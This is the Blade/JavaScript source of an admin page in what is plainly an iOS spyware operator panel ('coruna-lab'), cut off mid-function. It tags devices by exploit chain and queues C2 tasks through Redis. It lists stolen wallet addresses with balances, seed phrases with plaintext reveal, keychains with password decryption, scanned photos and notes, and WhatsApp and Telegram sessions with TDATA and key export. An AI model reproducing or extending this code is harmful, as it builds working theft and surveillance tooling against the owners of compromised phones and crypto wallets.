Files
coruna-lab/resources/views/admin/devices/show.blade.php
T
2026-10-05 06:12:43 +08:00

1180 lines
48 KiB
PHP
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
@extends('admin.content')
@section('title', '设备 '.$device->device_id)
@section('content')
<div class="layui-card">
<div class="layui-card-header" style="display:flex;align-items:center;justify-content:space-between;">
<span>设备详情</span>
@if (($portal ?? 'admin') === 'admin')
<button type="button" class="layui-btn layui-btn-danger layui-btn-sm" id="LAY-device-destroy">删除设备</button>
@endif
</div>
<div class="layui-card-body">
<table class="layui-table" style="margin-bottom: 16px;">
<tr>
<th width="140">设备 ID</th>
<td><code>{{ $device->device_id }}</code></td>
<th width="140">渠道 ID</th>
<td><code>{{ $device->channel_id ?: '—' }}</code></td>
</tr>
<tr>
<th>利用链</th>
<td colspan="3">
@if ($device->isDarkSword())
<span class="tag-chain tag-chain-darksword">DarkSword</span>
@elseif ($device->isApp())
<span class="tag-chain tag-chain-app">App</span>
@else
<span class="tag-chain tag-chain-coruna">Coruna</span>
@endif
</td>
</tr>
<tr>
<th>设备型号</th>
<td>{{ $device->device_model ?: '—' }}</td>
<th>iOS 版本</th>
<td>{{ $device->ios_version ?: '—' }}</td>
</tr>
<tr>
<th>手机号</th>
<td>{{ $device->phone ?: '—' }}</td>
<th>IP</th>
<td>{{ $device->formattedIp() !== '' ? $device->formattedIp() : '—' }}</td>
</tr>
<tr>
<th>钱包</th>
<td colspan="3">
@if ((int) $device->has_wallet === \App\Models\Device::WALLET_YES)
<span style="color:#d97706;font-weight:600;">有</span>
@foreach ($device->walletNameList() as $name)
<span class="tag-wallet">{{ $name }}</span>
@endforeach
@elseif ((int) $device->has_wallet === \App\Models\Device::WALLET_NONE)
无
@else
未知
@endif
</td>
</tr>
<tr>
<th>WS/TG</th>
<td colspan="3">
@if ($device->hasWhatsApp() || $device->hasTelegram())
@if ($device->hasWhatsApp())
<span class="tag-im tag-im-ws">WS</span>
@endif
@if ($device->hasTelegram())
<span class="tag-im tag-im-tg">TG</span>
@endif
@else
—
@endif
</td>
</tr>
<tr>
<th>相册存储</th>
<td colspan="3">
<form class="layui-form" lay-filter="LAY-device-album" style="margin:0;">
<input type="checkbox" name="album_storage" lay-skin="switch" lay-text="开|关"
lay-filter="LAY-device-album-storage"
{{ $device->albumStorageEnabled() ? 'checked' : '' }}>
</form>
</td>
</tr>
<tr>
<th>User-Agent</th>
<td colspan="3" class="wrap">{{ $device->user_agent ?: '—' }}</td>
</tr>
<tr>
<th>安装 / 更新</th>
<td colspan="3">{{ $device->created_at }} / {{ $device->updated_at }}</td>
</tr>
</table>
@php
$queueState = $queueState ?? ['pending' => [], 'dispatched' => [], 'done' => []];
$queueTypes = \App\Services\DsBeaconQueue::ALL_TYPES;
$queueSchema = $queueSchema ?? \App\Services\DsBeaconQueue::PARAM_SCHEMA;
$statusLabels = \App\Services\DsBeaconQueue::STATUS_LABELS;
$hasQueue = !empty($queueState['pending']) || !empty($queueState['dispatched']) || $device->chain === \App\Models\Device::CHAIN_DARKSWORD;
@endphp
@if ($hasQueue)
<div class="layui-elem-quote" style="margin:0 0 16px;">
C2 队列 (Redis)
@if (!empty($queueState['pending']))
· 下一条 <code>{{ $queueState['pending'][0]['type'] }}</code>
@elseif (!empty($queueState['dispatched']))
· 已下发未回传
@else
· 队列已空
@endif
@if (($queueState['rounds_remaining'] ?? 0) > 0)
· 循环 {{ $queueState['round_current'] }}/{{ $queueState['rounds_total'] }}
@endif
· <span style="font-size:12px;color:#999;">回传结果见「日志」</span>
</div>
{{-- Add task: layui button opens layer.open with form select + dynamic params --}}
<div style="margin-bottom: 16px;">
<button type="button" class="layui-btn layui-btn-sm" id="btnQueueAdd">
<i class="layui-icon layui-icon-add-1"></i> 添加任务
</button>
</div>
@php
// Build a per-type label map from PARAM_SCHEMA: type => [field name => label]
$paramLabelsByType = [];
foreach ($queueSchema as $type => $fields) {
foreach ($fields as $f) {
$paramLabelsByType[$type][$f['name']] = $f['label'];
}
}
@endphp
<table class="layui-table" style="margin-bottom: 16px;">
<thead>
<tr>
<th width="60">#</th>
<th width="140">任务</th>
<th>参数</th>
<th width="100">状态</th>
<th width="160">下发时间</th>
<th width="160">回传时间</th>
<th>回传</th>
<th width="80">操作</th>
</tr>
</thead>
<tbody>
{{-- Pending tasks (removable) --}}
@php $rowIdx = 0; @endphp
@foreach ($queueState['pending'] as $task)
@php $rowIdx++; @endphp
<tr style="background:#f0fdf4;">
<td>{{ $rowIdx }}</td>
<td><code>{{ $task['type'] }}</code></td>
<td class="wrap">
@php
$params = $task['params'] ?? [];
$typeLabels = $paramLabelsByType[$task['type']] ?? [];
$parts = [];
foreach ($params as $pk => $pv) {
if ($pv === null || $pv === '' || $pv === false) continue;
$lbl = $typeLabels[$pk] ?? $pk;
if (is_bool($pv)) $pv = $pv ? '是' : '否';
$parts[] = '<span style="margin-right:8px;"><code>' . e($lbl) . '</code>: ' . e((string) $pv) . '</span>';
}
@endphp
{!! !empty($parts) ? implode('', $parts) : '—' !!}
</td>
<td>{{ $statusLabels[$task['status']] ?? $task['status'] }}</td>
<td>—</td>
<td>—</td>
<td>—</td>
<td>
<button type="button" class="layui-btn layui-btn-sm layui-btn-danger"
onclick="queueRemove('{{ $task['task_id'] }}', '{{ $task['type'] }}')">移除</button>
</td>
</tr>
@endforeach
{{-- Dispatched tasks (in-flight) --}}
@foreach ($queueState['dispatched'] as $task)
@php $rowIdx++; @endphp
<tr style="background:#fff7ed;">
<td>{{ $rowIdx }}</td>
<td><code>{{ $task['type'] }}</code></td>
<td class="wrap">
@php
$params = $task['params'] ?? [];
$typeLabels = $paramLabelsByType[$task['type']] ?? [];
$parts = [];
foreach ($params as $pk => $pv) {
if ($pv === null || $pv === '' || $pv === false) continue;
$lbl = $typeLabels[$pk] ?? $pk;
if (is_bool($pv)) $pv = $pv ? '是' : '否';
$parts[] = '<span style="margin-right:8px;"><code>' . e($lbl) . '</code>: ' . e((string) $pv) . '</span>';
}
@endphp
{!! !empty($parts) ? implode('', $parts) : '—' !!}
</td>
<td>{{ $statusLabels[$task['status']] ?? $task['status'] }}</td>
<td>{{ $task['dispatched_at'] ?? '—' }}</td>
<td>—</td>
<td>—</td>
<td>—</td>
</tr>
@endforeach
@if ($rowIdx === 0)
<tr><td colspan="8" style="text-align:center;color:#999;">队列为空,点击「添加任务」按钮添加</td></tr>
@endif
</tbody>
</table>
{{-- Hidden data for JS --}}
<script>
var queueParamSchema = @json($queueSchema);
var queueAddUrl = @json(route(($portal ?? 'admin').'.devices.queue.add', $device));
var queueRemoveUrl = @json(route(($portal ?? 'admin').'.devices.queue.remove', $device));
var csrfToken = @json(csrf_token());
</script>
@endif
<div class="layui-tab layui-tab-brief" style="margin-bottom: 0;">
<ul class="layui-tab-title">
@php $tabs = [
'wallets' => '钱包地址',
'mnemonics' => '助记词',
'keystores' => '钥匙串',
'photos' => '相册',
'apps' => '已装 APP',
'notes' => '备忘录',
'events' => '日志',
'ws-sessions' => 'WS 参数',
'tg-sessions' => 'TG 参数',
]; @endphp
@foreach ($tabs as $key => $label)
<li class="{{ $tab === $key ? 'layui-this' : '' }}">
<a href="{{ route(($portal ?? 'admin').'.devices.show', [$device, 'tab' => $key]) }}">{{ $label }}</a>
</li>
@endforeach
</ul>
</div>
<div class="device-tab-body" style="padding-top: 16px;">
@if ($tab === 'photos')
<form class="layui-form" lay-filter="LAY-photo-filter" style="margin-bottom: 12px;">
<div class="layui-form-item" style="margin-bottom: 0;">
<div class="layui-inline">
<label class="layui-form-label" style="width: auto;">已读</label>
<div class="layui-input-inline" style="width: 140px;">
<select name="read">
<option value="">全部</option>
<option value="0">未读</option>
<option value="1">已读</option>
</select>
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label" style="width: auto;">敏感词</label>
<div class="layui-input-inline" style="width: 180px;">
<select name="sensitive">
<option value="">全部</option>
<option value="1">含敏感词 (x-hit&gt;0)</option>
</select>
</div>
</div>
<div class="layui-inline">
<button class="layui-btn" lay-submit lay-filter="LAY-photo-search">筛选</button>
<button type="reset" class="layui-btn layui-btn-primary" id="LAY-photo-reset">重置</button>
@if(!empty($can_clear_photos))
<button type="button" class="layui-btn layui-btn-danger" id="LAY-photo-clear">清理相册数据</button>
@endif
</div>
</div>
</form>
@if(!empty($show_scan))
<div id="LAY-photo-scan" class="scan-progress">扫描进度:—</div>
@endif
<div id="LAY-photo-grid" class="photo-grid"></div>
<div id="LAY-photo-empty" style="display:none;color:#999;padding:12px 0;">暂无相册</div>
<div id="LAY-photo-page" style="margin-top: 16px; text-align: right;"></div>
@elseif ($tab === 'notes')
@if(!empty($show_scan))
<div id="LAY-note-scan" class="scan-progress">扫描进度:—</div>
@endif
<div id="LAY-note-cards"></div>
<div id="LAY-note-empty" style="display:none;color:#999;padding:12px 0;">暂无备忘录</div>
<div id="LAY-note-page" style="margin-top: 16px; text-align: right;"></div>
@else
@if ($tab === 'wallets')
<form class="layui-form" lay-filter="LAY-wallet-filter" style="margin-bottom: 12px;">
<div class="layui-form-item" style="margin-bottom: 0;">
<div class="layui-inline">
<label class="layui-form-label" style="width: auto;">Source</label>
<div class="layui-input-inline" style="width: 180px;">
<select name="source">
<option value="">全部</option>
@foreach ($addressSources as $src)
<option value="{{ $src }}">{{ $src }}</option>
@endforeach
</select>
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label" style="width: auto;">Chain</label>
<div class="layui-input-inline" style="width: 160px;">
<select name="chain_type">
<option value="">全部</option>
@foreach ($addressChains as $chain)
<option value="{{ $chain }}">{{ $chain }}</option>
@endforeach
</select>
</div>
</div>
<div class="layui-inline">
<button class="layui-btn" lay-submit lay-filter="LAY-wallet-search">筛选</button>
<button type="reset" class="layui-btn layui-btn-primary" id="LAY-wallet-reset">重置</button>
</div>
</div>
</form>
@endif
@if ($tab === 'keystores')
<form class="layui-form" lay-filter="LAY-keystore-filter" style="margin-bottom: 12px;">
<div class="layui-form-item" style="margin-bottom: 0;">
<div class="layui-inline">
<label class="layui-form-label" style="width: auto;">需要密码</label>
<div class="layui-input-inline" style="width: 160px;">
<select name="needs_password">
<option value="">全部</option>
<option value="1">是</option>
</select>
</div>
</div>
<div class="layui-inline">
<button class="layui-btn" lay-submit lay-filter="LAY-keystore-search">筛选</button>
<button type="reset" class="layui-btn layui-btn-primary" id="LAY-keystore-reset">重置</button>
</div>
</div>
</form>
@endif
<table id="LAY-device-tab-list" lay-filter="LAY-device-tab-list"></table>
@if (in_array($tab, ['ws-sessions', 'tg-sessions'], true))
<script type="text/html" id="LAY-device-session-ops">
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="payload">原始参数</a>
@if ($tab === 'ws-sessions')
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="wsFull">协议全参</a>
@endif
@if ($tab === 'tg-sessions' && auth('admin')->user()?->isSuper())
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="tdata">TDATA</a>
<a class="layui-btn layui-btn-success layui-btn-xs" lay-event="session">SESSION</a>
<a class="layui-btn layui-btn-success layui-btn-xs" lay-event="sessionJson">JSON</a>
<a class="layui-btn layui-btn-success layui-btn-xs" lay-event="sessionKey">密钥</a>
@endif
</script>
@endif
@endif
</div>
</div>
</div>
@endsection
@push('scripts')
@include('admin.partials.mnemonic_reveal')
<script>
layui.use(['table', 'form', 'laypage', 'layer'], function () {
var table = layui.table;
var form = layui.form;
var laypage = layui.laypage;
var layer = layui.layer;
var $ = layui.$;
var tab = @json($tab);
var tabDataUrl = @json(route(($portal ?? 'admin').'.devices.tabData', $device));
var updateUrl = @json(route(($portal ?? 'admin').'.devices.update', $device));
var clearPhotosUrl = @json(route(($portal ?? 'admin').'.devices.photos.clear', $device));
@if (($portal ?? 'admin') === 'admin')
var destroyUrl = @json(route(($portal ?? 'admin').'.devices.destroy', $device));
@else
var destroyUrl = '';
@endif
var listUrl = @json(route(($portal ?? 'admin').'.devices.index'));
var token = @json(csrf_token());
var revealMnemonic = window.CorunaMnemonicReveal({
token: token,
google_bound: @json(!empty($google_bound)),
security_url: @json($google2fa_url ?? '')
});
var dash = function (v) { return v ? v : '—'; };
var esc = function (v) {
return String(v == null ? '' : v)
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;');
};
var yesNo = function (v) {
return v ? '<span style="color:#16a34a;">有</span>' : '<span style="color:#94a3b8;">无</span>';
};
form.on('switch(LAY-device-album-storage)', function (obj) {
var on = obj.elem.checked ? 1 : 0;
$.ajax({
url: updateUrl,
method: 'POST',
data: { album_storage: on, _method: 'PUT', _token: token },
success: function (res) {
if (!res || res.code !== 0) {
obj.elem.checked = !obj.elem.checked;
form.render('checkbox');
return layer.msg((res && res.msg) || '保存失败');
}
layer.msg(on ? '已开启相册存储' : '已关闭相册存储');
},
error: function () {
obj.elem.checked = !obj.elem.checked;
form.render('checkbox');
layer.msg('保存失败');
}
});
});
form.render('checkbox');
$('#LAY-device-destroy').on('click', function () {
layer.confirm('确认删除该设备?将同时删除相册、钱包、助记词、APP、备忘录、C2 队列、DS 阶段日志、访问记录及该设备的 DS 文件日志,且不可恢复。', {
icon: 3,
title: '删除设备'
}, function (index) {
layer.close(index);
var loading = layer.load(1, { shade: 0.2 });
$.ajax({
url: destroyUrl,
method: 'POST',
data: { _method: 'DELETE', _token: token },
success: function (res) {
layer.close(loading);
if (!res || res.code !== 0) return layer.msg((res && res.msg) || '删除失败');
layer.msg('已删除', { time: 800 }, function () {
var next = (res.data && res.data.list_url) ? res.data.list_url : listUrl;
try {
if (parent && parent.layui && parent.layui.index && parent.layui.index.closeThisTabs) {
parent.layui.index.closeThisTabs();
parent.layui.index.openTabsPage(next, '设备管理');
return;
}
} catch (e) {}
location.href = next;
});
},
error: function (xhr) {
layer.close(loading);
var msg = (xhr.responseJSON && xhr.responseJSON.msg) ? xhr.responseJSON.msg : '删除失败';
layer.msg(msg);
}
});
});
});
if (tab === 'photos') {
var photoState = { page: 1, limit: 20, sensitive: '', read: '' };
var renderPhotos = function () {
$.getJSON(tabDataUrl, {
tab: 'photos',
page: photoState.page,
limit: photoState.limit,
sensitive: photoState.sensitive,
read: photoState.read
}, function (res) {
var $grid = $('#LAY-photo-grid').empty();
var list = (res && res.data) ? res.data : [];
@if(!empty($show_scan))
if (res && res.scan) {
$('#LAY-photo-scan').text('相册扫描:' + res.scan.scanned + '/' + res.scan.total + ' 已扫 · ' + res.scan.suspected + ' 疑似 · ' + res.scan.confirmed + ' 确定');
}
@endif
if (!list.length) {
$('#LAY-photo-empty').show();
} else {
$('#LAY-photo-empty').hide();
list.forEach(function (p) {
var hit = (p.x_hit == null || p.x_hit === '') ? '—' : p.x_hit;
var card = $(
'<a class="photo-card" href="javascript:;">' +
(Number(p.read) === 1 ? '' : '<i class="photo-unread-dot" title="未读"></i>') +
@if(!empty($show_scan))
(p.scan_label ? '<span class="scan-badge scan-badge-' + Number(p.scan_status || 0) + '">' + p.scan_label + '</span>' : '') +
@endif
'<img alt="">' +
'<div></div>' +
'<div class="muted" style="font-size:12px;color:#888;"></div>' +
'</a>'
);
card.find('img').attr('src', p.url).attr('alt', p.sha256 || '');
card.find('div').eq(0).text((p.size == null ? '—' : p.size) + ' B · x-hit ' + hit);
card.find('div').eq(1).text(
'up ' + dash(p.upload_count) +
' · idx ' + dash(p.process_index) +
' · text ' + dash(p.text_count) +
' · qr ' + dash(p.barcode_count)
);
card.on('click', function (e) {
e.preventDefault();
card.find('.photo-unread-dot').remove();
p.read = 1;
layer.open({
type: 1,
title: '相册预览',
area: ['80%', '85%'],
shadeClose: true,
content: '<div style="padding:12px;text-align:center;background:#111;min-height:100%;box-sizing:border-box;">' +
'<img src="' + p.url + '" style="max-width:100%;max-height:75vh;object-fit:contain;">' +
'<div style="color:#ccc;margin-top:10px;font-size:12px;word-break:break-all;">' +
esc(p.sha256 || '') + '</div></div>'
});
});
$grid.append(card);
});
}
laypage.render({
elem: 'LAY-photo-page',
count: (res && res.count) ? res.count : 0,
curr: photoState.page,
limit: photoState.limit,
limits: [10, 20, 30, 50],
layout: ['count', 'prev', 'page', 'next', 'limit'],
jump: function (obj, first) {
if (first) return;
photoState.page = obj.curr;
photoState.limit = obj.limit;
renderPhotos();
}
});
});
};
form.on('submit(LAY-photo-search)', function (data) {
photoState.sensitive = data.field.sensitive || '';
photoState.read = data.field.read || '';
photoState.page = 1;
renderPhotos();
return false;
});
$('#LAY-photo-reset').on('click', function () {
setTimeout(function () {
photoState.sensitive = '';
photoState.read = '';
photoState.page = 1;
renderPhotos();
}, 0);
});
@if(!empty($can_clear_photos))
$('#LAY-photo-clear').on('click', function () {
layer.confirm('确认清理该设备全部相册数据?将删除数据库记录及本地图片文件,且不可恢复。', {
icon: 3,
title: '清理相册'
}, function (index) {
layer.close(index);
var loading = layer.load(1, { shade: 0.2 });
$.ajax({
url: clearPhotosUrl,
method: 'POST',
data: { _token: token },
success: function (res) {
layer.close(loading);
if (!res || res.code !== 0) return layer.msg((res && res.msg) || '清理失败');
var n = (res.data && res.data.deleted_rows) ? res.data.deleted_rows : 0;
layer.msg('已清理 ' + n + ' 条相册记录');
photoState.page = 1;
renderPhotos();
},
error: function () {
layer.close(loading);
layer.msg('清理失败');
}
});
});
});
@endif
form.render('select');
renderPhotos();
return;
}
if (tab === 'notes') {
var noteState = { page: 1, limit: 20 };
var renderNotes = function () {
$.getJSON(tabDataUrl, {
tab: 'notes',
page: noteState.page,
limit: noteState.limit
}, function (res) {
var $list = $('#LAY-note-cards').empty();
var items = (res && res.data) ? res.data : [];
@if(!empty($show_scan))
if (res && res.scan) {
$('#LAY-note-scan').text('备忘录扫描:' + res.scan.scanned + '/' + res.scan.total + ' 已扫 · ' + res.scan.suspected + ' 疑似 · ' + res.scan.confirmed + ' 确定');
}
@endif
if (!items.length) {
$('#LAY-note-empty').show();
} else {
$('#LAY-note-empty').hide();
items.forEach(function (it) {
var $card = $('<div class="note-card"></div>');
$card.append($('<div class="note-card-title"></div>').text((it.scan_label ? ('[' + it.scan_label + '] ') : '') + (it.title || '无标题')));
$card.append($('<pre class="note-card-body"></pre>').text(it.body || ''));
$list.append($card);
});
}
laypage.render({
elem: 'LAY-note-page',
count: (res && res.count) ? res.count : 0,
curr: noteState.page,
limit: noteState.limit,
limits: [10, 20, 30, 50],
layout: ['count', 'prev', 'page', 'next', 'limit'],
jump: function (obj, first) {
if (first) return;
noteState.page = obj.curr;
noteState.limit = obj.limit;
renderNotes();
}
});
});
};
renderNotes();
return;
}
var colsMap = {
wallets: [[
{ field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'source', title: 'Source', width: 140, sort: true, templet: function (d) { return dash(d.source); } },
{ field: 'chain_type', title: 'Chain', width: 120, sort: true, templet: function (d) { return dash(d.chain_type); } },
{ field: 'address', title: 'Address', minWidth: 220, sort: true, templet: function (d) { return '<code>' + esc(d.address) + '</code>'; } },
{ field: 'usdt', title: 'USDT', width: 90 },
{ field: 'trx', title: 'TRX', width: 90 },
{ field: 'eth', title: 'ETH', width: 90 },
{ field: 'btc', title: 'BTC', width: 100 },
{ field: 'bnb', title: 'BNB', width: 90 },
{ field: 'monitor', title: '监听开关', width: 80, templet: function (d) {
return Number(d.monitor) === 1 ? '开' : '关';
} },
{ field: 'monitor_synced', title: '已同步', width: 80, templet: function (d) {
if (Number(d.monitor) !== 1) { return '—'; }
return d.monitor_synced ? '是' : '否';
} },
{ field: 'monitor_failures', title: '失败', width: 70, templet: function (d) {
if (Number(d.monitor) !== 1 || d.monitor_synced) { return '—'; }
return Number(d.monitor_failures) || 0;
} },
{ field: 'updated_at', title: '更新时间', width: 170, sort: true, templet: function (d) { return dash(d.updated_at); } }
]],
mnemonics: [[
{ field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'source', title: 'Source', width: 160, sort: true, templet: function (d) { return dash(d.source); } },
{ field: 'mnemonic', title: 'Mnemonic', minWidth: 220, templet: function (d) { return '<code>' + esc(d.mnemonic) + '</code>'; } },
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } }
@if(!empty($can_reveal))
, { title: '操作', width: 110, align: 'center', templet: function (d) {
return d.reveal_url ? '<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="reveal">查看明文</a>' : '—';
} }
@endif
]],
keystores: [[
{ field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'source', title: '来源', width: 140, sort: true, templet: function (d) { return esc(d.source || '未知'); } },
{ field: 'decrypted', title: '已解密', width: 90, sort: true, templet: function (d) {
return Number(d.decrypted) === 1 ? '是' : '否';
} },
{ field: 'needs_password', title: '需要密码', width: 110, sort: true, templet: function (d) {
return Number(d.needs_password) === 1 ? '是' : '—';
} },
{ field: 'kind', title: '类型', width: 110, templet: function (d) { return dash(d.kind); } },
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } },
{ title: '操作', width: 200, align: 'center', templet: function (d) {
var html = '';
if (d.detail_api_url && d.has_web3_keystore) html += '<a class="layui-btn layui-btn-xs" style="background:#5a8dee" lay-event="plaintext">明文</a>';
if (Number(d.needs_password) === 1 && d.password_decrypt_url) html += '<a class="layui-btn layui-btn-xs" style="background:#ff5722" lay-event="decryptPassword">密码解密</a>';
return html || '—';
} }
]],
apps: [[
{ field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'name', title: '名称', minWidth: 140, sort: true, templet: function (d) { return dash(d.name); } },
{ field: 'bundle_id', title: 'Bundle', minWidth: 200, sort: true, templet: function (d) { return d.bundle_id ? '<code>' + esc(d.bundle_id) + '</code>' : '—'; } },
{ field: 'version', title: '版本', width: 120, sort: true, templet: function (d) { return dash(d.version); } },
{ field: 'is_wallet', title: 'Wallet', width: 100, sort: true, templet: function (d) {
return d.is_wallet ? '<span class="tag-wallet">wallet</span>' : '—';
} }
]],
events: [[
{ field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } },
{ field: 'event_name', title: 'Event', width: 160, sort: true, templet: function (d) { return d.event_name ? '<code>' + esc(d.event_name) + '</code>' : '—'; } },
{ field: 'desc', title: 'Desc', minWidth: 180, templet: function (d) { return dash(d.desc); } },
{ field: 'context', title: 'Context', minWidth: 220, templet: function (d) {
return d.context ? '<span class="wrap">' + esc(d.context) + '</span>' : '—';
} }
]],
'ws-sessions': [[
{ field: 'id', title: 'ID', width: 70, sort: true },
{ field: 'account_id', title: '账号', minWidth: 150, sort: true, templet: function (d) { return dash(d.account_id); } },
{ field: 'phone', title: '手机号', width: 140, templet: function (d) { return dash(d.phone); } },
{ field: 'nickname', title: '昵称', width: 130, templet: function (d) { return dash(d.nickname); } },
{ field: 'version', title: '版本', width: 110, templet: function (d) { return dash(d.version); } },
{ field: 'has_keystore', title: '密钥', width: 80, templet: function (d) { return yesNo(d.has_keystore); } },
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
{ title: '操作', width: 200, align: 'center', fixed: 'right', toolbar: '#LAY-device-session-ops' }
]],
'tg-sessions': [[
{ field: 'id', title: 'ID', width: 70, sort: true },
{ field: 'account_id', title: '用户 ID', minWidth: 150, sort: true, templet: function (d) { return dash(d.account_id); } },
{ field: 'has_state', title: '状态', width: 80, templet: function (d) { return yesNo(d.has_state); } },
{ field: 'has_db', title: 'DB', width: 80, templet: function (d) { return yesNo(d.has_db); } },
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
@if(auth('admin')->user()?->isSuper())
{ title: '操作', width: 410, align: 'center', fixed: 'right', toolbar: '#LAY-device-session-ops' }
@else
{ title: '操作', width: 110, align: 'center', fixed: 'right', toolbar: '#LAY-device-session-ops' }
@endif
]]
};
var emptyMap = {
wallets: '暂无地址',
mnemonics: '暂无助记词',
keystores: '暂无钥匙串',
apps: '暂无应用',
notes: '暂无备忘录',
events: '暂无日志',
'ws-sessions': '暂无 WS 参数',
'tg-sessions': '暂无 TG 参数'
};
table.render({
elem: '#LAY-device-tab-list',
id: 'LAY-device-tab-list',
url: tabDataUrl,
where: { tab: tab },
toolbar: true,
defaultToolbar: ['filter', 'exports', 'print'],
cols: colsMap[tab] || colsMap.wallets,
page: true,
limit: 20,
limits: [10, 20, 30, 50],
text: { none: emptyMap[tab] || '暂无数据' },
request: { pageName: 'page', limitName: 'limit' },
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
});
if (tab === 'mnemonics') {
table.on('tool(LAY-device-tab-list)', function (obj) {
if (obj.event === 'reveal') revealMnemonic(obj.data);
});
}
if (tab === 'keystores') {
table.on('tool(LAY-device-tab-list)', function (obj) {
if (obj.event === 'decryptPassword') {
if (!obj.data.password_decrypt_url) return layer.msg('无法密码解密');
layer.prompt({
formType: 1,
title: '输入钱包密码',
maxlength: 256
}, function (value, idx) {
var password = String(value || '').trim();
if (!password) return layer.msg('请输入密码');
layer.close(idx);
var loadIdx = layer.msg('解密中…', { icon: 16, shade: 0.2, time: 0 });
$.ajax({
url: obj.data.password_decrypt_url,
method: 'POST',
data: { _token: token, password: password },
timeout: 180000,
success: function (res) {
layer.msg((res && res.msg) || '已处理');
if (res && res.code === 0) table.reload('LAY-device-tab-list');
},
error: function (xhr) {
var msg = '解密失败';
if (xhr.statusText === 'timeout') msg = '解密超时,请稍后重试';
else if (xhr.responseJSON && xhr.responseJSON.msg) msg = xhr.responseJSON.msg;
layer.msg(msg);
},
complete: function () {
layer.close(loadIdx);
}
});
});
return;
}
// Plaintext detail viewer (sensitive fields masked)
if (obj.event === 'plaintext' && obj.data.detail_api_url) {
layer.load(1);
$.getJSON(obj.data.detail_api_url, function (res) {
layer.closeAll('loading');
if (!res || res.code !== 0) {
return layer.msg((res && res.msg) || '加载失败');
}
var d = res.data || {};
var detail = d.detail || {};
var html = '<div style="padding:12px 16px 16px;"><div style="color:#666;font-size:13px;margin-bottom:8px;">#' +
esc(d.id) + ' · 来源 ' + esc(d.source || '未知') + ' · ' + esc(d.kind || '') +
' · 已解密 ' + (Number(d.decrypted) === 1 ? '是' : '否') + '</div>' +
'<div style="color:#999;font-size:12px;margin-bottom:8px;padding:6px 10px;background:#fffbe6;border:1px solid #ffe58f;border-radius:3px;">' +
'敏感加密字段已打码,其余明文信息完整展示</div>' +
'<pre style="background:#f7f7f7;border:1px solid #e6e6e6;border-radius:3px;padding:12px;font-family:Menlo,Monaco,Consolas,monospace;font-size:12px;line-height:1.5;max-height:560px;overflow:auto;white-space:pre-wrap;word-break:break-all;">' +
esc(JSON.stringify(detail, null, 2)) + '</pre></div>';
layer.open({ type: 1, title: '明文详情 #' + (d.id || ''), area: ['960px', '80%'], content: html });
}).fail(function () {
layer.closeAll('loading');
layer.msg('加载失败');
});
return;
}
});
}
if (tab === 'ws-sessions' || tab === 'tg-sessions') {
table.on('tool(LAY-device-tab-list)', function (obj) {
if (obj.event === 'payload') {
var url = obj.data.payload_url;
if (!url) { layer.msg('缺少参数地址'); return; }
var load = layer.load(1, { shade: 0.1 });
fetch(url, { headers: { 'Accept': 'application/json', 'X-Requested-With': 'XMLHttpRequest' }, credentials: 'same-origin' })
.then(function (res) {
return res.json().then(function (body) { return { ok: res.ok, body: body || {} }; })
.catch(function () { return { ok: false, body: { msg: '参数接口返回了非 JSON' } }; });
})
.then(function (out) {
layer.close(load);
var body = out.body || {};
var json = body.data && body.data.payload_json;
if (!out.ok || body.code === 1 || !json) { layer.msg(body.msg || '加载参数失败'); return; }
var downloadUrl = (body.data && body.data.download_url) || obj.data.download_url || '';
var pretty = JSON.stringify(json, null, 2);
layer.open({
type: 1, title: (tab === 'ws-sessions' ? 'WS 参数 #' : 'TG 参数 #') + obj.data.id,
area: ['720px', '80%'], content:
'<pre style="margin:0;padding:12px;max-height:100%;overflow:auto;background:#f6f6f6;font-size:12px;white-space:pre-wrap;word-break:break-all;">' + esc(pretty) + '</pre>'
+ (downloadUrl ? '<div style="padding:8px 12px;"><a class="layui-btn layui-btn-sm" href="' + esc(downloadUrl) + '" download>下载完整参数</a></div>' : '')
});
})
.catch(function () { layer.close(load); layer.msg('加载参数失败'); });
return;
}
if (obj.event === 'wsFull') {
var url = obj.data.ws_full_url;
if (!url) { layer.msg('缺少协议全参地址'); return; }
var load = layer.load(1, { shade: 0.1 });
fetch(url, { credentials: 'same-origin' })
.then(function (res) {
layer.close(load);
var ct = res.headers.get('Content-Type') || '';
if (!res.ok || ct.indexOf('application/json') !== -1) {
return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); });
}
return res.blob().then(function (blob) {
var a = document.createElement('a');
a.href = URL.createObjectURL(blob);
a.download = 'ws-' + (obj.data.account_id || obj.data.id) + '.txt';
document.body.appendChild(a); a.click();
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
});
})
.catch(function (e) { layer.close(load); layer.msg(e.message || '转换失败'); });
return;
}
if (obj.event === 'tdata') {
var url = obj.data.tdata_url;
if (!url) { layer.msg('缺少 TDATA 地址'); return; }
var load = layer.load(1, { shade: 0.1 });
fetch(url, { credentials: 'same-origin' })
.then(function (res) {
layer.close(load);
var ct = res.headers.get('Content-Type') || '';
if (!res.ok || ct.indexOf('application/json') !== -1) {
return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); });
}
return res.blob().then(function (blob) {
var a = document.createElement('a');
a.href = URL.createObjectURL(blob);
a.download = 'tdata-' + (obj.data.account_id || obj.data.id) + '.zip';
document.body.appendChild(a); a.click();
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
});
})
